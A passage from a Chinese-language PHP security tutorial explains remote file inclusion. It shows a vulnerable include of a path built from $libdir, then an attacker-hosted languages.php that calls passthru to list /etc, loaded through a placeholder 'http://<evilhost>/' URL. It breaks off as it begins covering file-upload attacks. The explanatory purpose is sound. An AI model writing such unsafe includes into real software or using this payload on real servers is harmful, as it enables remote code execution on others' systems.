background image

库文件上。

例如:

程序代码

以下为引用的内容:

<?php
include($libdir . "/languages.php");
?

 

上例中"$libdir"一般是一个在执行代码前已经设置好的路径,如果攻击者能够使
得"$libdir"没有被设置的话,那么他就可以改变这个路径。但是攻击者并不能做任何事情,
因为他们只能在他们指定的路径中访问文件 languages.php(perl 中的"Poisonnull byte"攻击
对 PHP 没有作用)。但是由于有了对远程文件的支持,攻击者就可以做任何事情。例如,
攻击者可以在某台服务器上放一个文件 languages.php,包含如下内容:

程序代码

以下为引用的内容:

<?php
passthru("/bin/ls /etc");
?>

然后把"$libdir"设置为"http://<evilhost>/",这样我们就可以在目标主机上执行上面的攻
击代码,"/etc"目录的内容将作为结果返回到客户的浏览器中。

需要注意的是,攻击代码是不会在自身所在的服务器(也就是 evilhost)上执行执行自身
PHP 程序的,否则,攻击代码会攻击自身所在的服务器,而不是在目标服务器执行。

如何通过文件上载进行攻击?

PHP 自动支持基于 RFC 1867 的文件上载,我们看下面的例子:

程序代码

以下为引用的内容:

<FORM METHOD="POST" ENCTYPE="multipart/form-data">
<INPUT TYPE="FILE" NAME="hello">
<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">
<INPUT TYPE="SUBMIT">
</FORM>